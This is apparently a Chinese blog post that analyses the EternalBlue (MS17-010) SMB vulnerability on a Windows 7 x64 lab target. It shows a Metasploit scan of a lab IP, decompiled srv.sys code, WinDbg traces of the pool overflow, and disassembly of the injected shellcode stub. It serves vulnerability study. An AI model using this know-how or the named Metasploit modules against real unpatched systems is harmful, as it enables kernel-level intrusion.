经典漏洞:永恒之蓝再析

文摘   2024-05-21 15:00   湖北  

点击上方蓝字 江湖评谈设为关注/星标




前言

本篇分析下几年前的经典漏洞,永恒之蓝原理。

准备

大多数的分析都是x86环境下的,个人尝试的是x64。机器配置:

靶机:win7 x64(IP:192.168.1.5)(https://msdn.itellyou.cn/下载)攻击机:Linux kali 6.5.0-kali3-amd64分析工具:win11 windbg Preview

在vmware设置本机,kail linux,win7的网络为桥接模式,勾选物理网络连接状态,以便双方能够ping通。win7设置一个共享文件夹,文件夹-》属性-》高级共享选择everyone,权限全部勾选。以便把srv.sys,srvnet.sys。复制出来,以供IDA静态分析。

攻击

#su root#msfconsolemsf6>search ms17-010msf6>use auxiliary/scanner/smb/smb_ms17_010msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.5rhosts => 192.168.1.5msf6 auxiliary(scanner/smb/smb_ms17_010) > run[+] 192.168.1.5:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7600 x64 (64-bit)[*] 192.168.1.5:445       - Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed

可以看到没有问题。下面分析下这个攻击的原理。

原理

永恒之蓝因为长度的问题,导致了漏洞,srv!SrvOs2FeaListToNt里面调用srv!SrvOs2FeaListSizeToNt函数计算长度,idea如下:

__int64 __fastcall SrvOs2FeaListToNt(unsigned int *a1, __int64 *a2, unsigned int *a3, _WORD *a4){  __int16 v8; // siunsigned int v9; // eax  __int64 NonPagedPool; // r11unsigned int *v12; // rbx  _DWORD *v13; // r12unsigned int *v14; // r14unsigned int v15; // ebx
v8 = 0; v9 = SrvOs2FeaListSizeToNt(a1); *a3 = v9;if ( v9 ) { NonPagedPool = SrvAllocateNonPagedPool(v9, 21i64); *a2 = NonPagedPool;if ( NonPagedPool ) { v12 = a1 + 1; v13 = (_DWORD *)NonPagedPool; v14 = (unsigned int *)((char *)a1 + *a1 - 5);while ( v12 <= v14 ) {if ( (*(_BYTE *)v12 & 0x7F) != 0 ) { *a4 = (_WORD)v12 - (_WORD)a1; v15 = -1073741811;goto LABEL_15; } v13 = (_DWORD *)NonPagedPool; v8 = (__int16)v12; NonPagedPool = SrvOs2FeaToNt(NonPagedPool, (__int64)v12); v12 = (unsigned int *)((char *)v12 + *((unsigned __int8 *)v12 + 1) + (unsigned __int64)*((unsigned __int16 *)v12 + 1) + 5); } //为了便于观察,后面省略。

观察下,exploit/windows/smb/ms17_010_eternalblue这个脚本传递了长度多少到SrvOs2FeaListSizeToNt,SrvOs2FeaListSizeToNt计算后的长度,以及SrvOs2FeaListSizeToNt返回的长度。

windbg命令如下:

bp SrvOs2FeaListToNt+0x2e   ".printf \"before size: %p\\n\,second param: %p\r\n\", poi(rcx),rdx; g;"bp SrvOs2FeaListToNt+0x33   ".printf \"after size: %p\r\\n,handle after size: %p\r\n\",rax,poi(rdi);g;"

代码对照:

v9 = SrvOs2FeaListSizeToNt(a1);*a3 = v9;

结果:

kd> gbefore size: 0000000000010000,second param: fffff88002f27b38  after size: 0000000000010fe8 ,handle after size: 000000000001ff5d

攻击脚本传递进来的长度是:0000000000010000,SrvOs2FeaListSizeToNt函数计算后的长度是:000000000001ff5d ,返回的长度是:0000000000010fe8 。

下面会调用SrvOs2FeaToNt函数,里面的memmove越界赋值了,这里的越界长度是0xa8,这个a8怎么来的呢?可以通过如下命令:

bp srv!SrvOs2FeaListToNt+0xc1 ".printf\"NonPagedPool:%p,v12:%p\\n\",rcx,rdx;g;"bp srv!SrvOs2FeaToNt+0x5a ".printf\"dest:%p,src:%p,size:%p\\n\",rcx,rdx,r8;g;"

代码对照:

NonPagedPool = SrvOs2FeaToNt(NonPagedPool, (__int64)v12);//SrvOs2FeaToNt函数里的第二个memmovememmove(v5 + 1, (const void *)(*(unsigned __int8 *)(a1 + 5) + a2 + 5), *(unsigned __int16 *)(a1 + 6));

此时我们可以得出:

NonPagedPool:fffffa8018fde010,v12:fffff8a000f7a13cdest:fffffa8018fde019,src:fffff8a000f7a141,size:0000000000000000NonPagedPool:fffffa8018fde01c,v12:fffff8a000f7a141dest:fffffa8018fde025,src:fffff8a000f7a146,size:0000000000000000........................................................................NonPagedPool:fffffa8018fdfc6c,v12:fffff8a000f7ad0ddest:fffffa8018fdfc75,src:fffff8a000f7ad12,size:000000000000f383NonPagedPool:fffffa8018feeff8,v12:fffff8a000f8a095dest:fffffa8018fef001,src:fffff8a000f8a09a,size:00000000000000a8

第一个dest地址是:fffffa8018fde019,把它加上after size:0000000000010fe8(也即是SrvOs2FeaListSizeToNt函数的返回值),结果是:fffffa8018fef001。刚好是最后一个dest的地址,此时理论上来说已经结束memmove的赋值了。但memmove的长度还需要复制0xa8(也即是size:00000000000000a8)。看下源(src:fffff8a000f8a0)处的内存

命令如下:

bp srv!SrvOs2FeaToNt+0x5a ".if(@r8!=a8){gc} .else{.printf\"dest:%p,src:%p,size:%p\\n\",rcx,rdx,r8;}"

当SrvOs2FeaToNt函数里的第二个memmove的第三个参数为0xa8的时候断下来,对照代码:

//SrvOs2FeaToNt函数里的第二个memmovememmove(v5 + 1, (const void *)(*(unsigned __int8 *)(a1 + 5) + a2 + 5), *(unsigned __int16 *)(a1 + 6));

结果:

kd> gdest:fffffa80192f1001,src:fffff8a001a8409a,size:00000000000000a8srv!SrvOs2FeaToNt+0x5a:fffff880`02ce580a e8b14bf9ff      call    srv!memcpy (fffff880`02c7a3c0)

看下src内存(因为memmove第一个参数是v5+1,所以下面减一):

kd> dq fffff8a001a8409a-1fffff8a0`01a84099  00000000`00000000 00000000`00000000fffff8a0`01a840a9  00000000`0000ffff 00000000`0000fffffffff8a0`01a840b9  00000000`00000000 00000000`00000000fffff8a0`01a840c9  00000000`ffdff100 ffdff020`00000000fffff8a0`01a840d9  ffffffff`ffdff100 00000000`10040060fffff8a0`01a840e9  00000000`ffdfef80 ffffffff`ffd00010fffff8a0`01a840f9  ffffffff`ffd00118 00000000`00000000fffff8a0`01a84109  00000000`00000000 00000000`10040060

注意:在win7-x64上,地址fffff8a0`01a840e9+8处: ffffffff`ffd00010正是攻击脚本的入口。而在win7-x86上ffdff020(地址fffff8a0`01a840c9+8)才是攻击脚本的入口。

memmove通过src(fffff8a001a8409a)复制长度0xa8个字节到dst(fffffa80192f1001)。此时替换了src替换了dest地址的内容,而ffffffff`ffd00010会被srvnet.sys模块的SrvNetCommonReceiveHandler 函数调用,进行脚本攻击。

这里的src是windows/smb/ms17_010_eternalblue脚本的内存布局,如何布局的,这个问题下一篇文章再看。这里还有另外一个问题,如何确认ffffffff`ffd00010是攻击脚本的入口的呢?

看下SrvNetCommonReceiveHandler函数:

.text:0000000000011A60                 push    rbx.text:0000000000011A62                 push    rsi.text:0000000000011A63                 push    rdi.text:0000000000011A64                 push    r12.text:0000000000011A66                 push    r13.text:0000000000011A68                 push    r14.text:0000000000011A6A                 push    r15.text:0000000000011A6C                 sub     rsp, 70h.text:0000000000011A70                 mov     r13, r9.text:0000000000011A73                 mov     esi, r8d.text:0000000000011A76                 mov     edi, edx.text:0000000000011A78                 mov     rbx, rcx.text:0000000000011A7B                 mov     rcx, cs:WPP_GLOBAL_Control.text:0000000000011A82                 mov     r12, [rsp+0A8h+arg_28].text:0000000000011A8A                 lea     r15, WPP_GLOBAL_Control.text:0000000000011A91                 cmp     rcx, r15.text:0000000000011A94                 jz      short loc_11AA1.text:0000000000011A96                 bt      dword ptr [rcx+2Ch], 9.text:0000000000011A9B                 jb      loc_17DBB.text:0000000000011AA1.text:0000000000011AA1 loc_11AA1:                              ; CODE XREF: SrvNetCommonReceiveHandler+34↑j.text:0000000000011AA1                                         ; SrvNetCommonReceiveHandler+635Fj ....text:0000000000011AA1                 mov     r14, [rbx+160h].text:0000000000011AA8                 inc     dword ptr [rbx+1E8h].text:0000000000011AAE                 cmp     edi, esi.text:0000000000011AB0                 jb      short loc_11AB4.text:0000000000011AB2                 mov     edi, esi.text:0000000000011AB4.text:0000000000011AB4 loc_11AB4:                              ; CODE XREF: SrvNetCommonReceiveHandler+50↑j.text:0000000000011AB4                 mov     r10, [rbx+1D8h].text:0000000000011ABB.text:0000000000011ABB loc_11ABB:                              ; DATA XREF: .rdata:000000000002A1A4o.text:0000000000011ABB                                         ; .rdata:000000000002AA5Co ....text:0000000000011ABB                 mov     [rsp+0A8h+arg_18], rbp.text:0000000000011AC3                 test    r10, r10.text:0000000000011AC6                 jz      loc_11B4E.text:0000000000011ACC                 cmp     dword ptr [rbx+8], 3.text:0000000000011AD0                 jnz     loc_17E1C.text:0000000000011AD6                 mov     rax, [rsp+0A8h+arg_40].text:0000000000011ADE                 mov     r8d, [rsp+0A8h+arg_20].text:0000000000011AE6                 mov     rdx, [rbx+0B8h].text:0000000000011AED                 mov     rcx, [rbx+0B0h].text:0000000000011AF4                 mov     [rsp+0A8h+var_68], rax.text:0000000000011AF9                 mov     rax, [rsp+0A8h+arg_38].text:0000000000011B01                 mov     [rsp+0A8h+var_70], rax.text:0000000000011B06                 mov     [rsp+0A8h+var_78], r12.text:0000000000011B0B                 mov     r9d, edi.text:0000000000011B0E                 mov     [rsp+0A8h+var_80], r13.text:0000000000011B13                 mov     [rsp+0A8h+var_88], esi.text:0000000000011B17                 call    qword ptr [r10+8]//为了便于观看,后面的代码省略

最后一行,callqwordptr[r10+8],看下r10哪里来的,命令如下:

bp srvnet!SrvNetCommonReceiveHandler+0xb7 ".printf\"r10 address:%p\\n\",@r10;g;"

结果:

kd> gr10 address:fffffa801af40fc0r10 address:fffffa801af40fc0....................................................................................................r10 address:fffffa801af40fc0r10 address:ffffffffffd001f0

所有r10 address都是一样的,除了最后一个,他的r10 address:ffffffffffd001f0,通过这个地址倒推下。查找下这个值所在的地址:

kd> s -q ffffffffffd00000 ffffffffffd001f0 ffffffffffd001f0ffffffff`ffd001e8  ffffffff`ffd001f0 00000000`00000000

SrvNetCommonReceiveHandler函数如下地址操纵了r10

.text:0000000000011AB4  mov  r10, [rbx+1D8h]

计算下这个地址:

kd> ?(ffffffff`ffd001e8-0x1d8)Evaluate expression: -3145712 = ffffffff`ffd00010

刚好对应上了上面src里面的ffffffff`ffd00010。

也就是说,通过SrvOs2FeaToNt函数里面的第二个memmove把多余的0x8长度从src赋值到dst,这里的0xa8长度是已经布局好了的。然后SrvNetCommonReceiveHandler函数调用dst里面被src替换的函数,进行脚本攻击。

看下它这个脚本攻击函数,因为call qword ptr [r10+8],所以r10需+8

kd> dq ffffffff`ffd001f0+8ffffffff`ffd001f8  ffffffff`ffd00201 b9000000`2ee85500ffffffff`ffd00208  8d4c320f`c0000082 c8394400`0000340dffffffff`ffd00218  890a7400`45391974 f845c600`45890455ffffffff`ffd00228  eac1485a`50914900 2d8d48c3`5d300f20ffffffff`ffd00238  0cedc148`00001000 70ed8348`0ce5c148ffffffff`ffd00248  24894865`f8010fc3 8b486500`00001025ffffffff`ffd00258  2b6a0000`01a82524 00000010`2534ff65ffffffff`ffd00268  ffffffc5`e8555050 1fc08348`00458b48

看下ffffffff`ffd00201是啥

kd> uf ffffffff`ffd00201ffffffff`ffd00201 55              push    rbpffffffff`ffd00202 e82e000000      call    ffffffff`ffd00235ffffffff`ffd00207 b9820000c0      mov     ecx,0C0000082hffffffff`ffd0020c 0f32            rdmsrffffffff`ffd0020e 4c8d0d34000000  lea     r9,[ffffffff`ffd00249]ffffffff`ffd00215 4439c8          cmp     eax,r9dffffffff`ffd00218 7419            je      ffffffff`ffd00233  Branch
ffffffff`ffd0021a 394500 cmp dword ptr [rbp],eaxffffffff`ffd0021d 740a je ffffffff`ffd00229 Branch
ffffffff`ffd0021f 895504 mov dword ptr [rbp+4],edxffffffff`ffd00222 894500 mov dword ptr [rbp],eaxffffffff`ffd00225 c645f800 mov byte ptr [rbp-8],0
ffffffff`ffd00229 4991 xchg rax,r9ffffffff`ffd0022b 50 push raxffffffff`ffd0022c 5a pop rdxffffffff`ffd0022d 48c1ea20 shr rdx,20hffffffff`ffd00231 0f30 wrmsr
ffffffff`ffd00233 5d pop rbpffffffff`ffd00234 c3              ret

这个注入的代码里面做了些什么,目前还没弄清楚,跟src内存布局一样,下一篇看下。

结尾

微软5月份修补了二十几个重要漏洞,有此联想到了经典漏洞永恒之蓝,本篇对永恒之蓝注入部分进行了解析。如有疏漏,欢迎指正。

往期精彩回顾

2024年5月Tiobe编程语言排行榜:Go会挤掉C#吗?


江湖评谈
记录,分享,自由。
 最新文章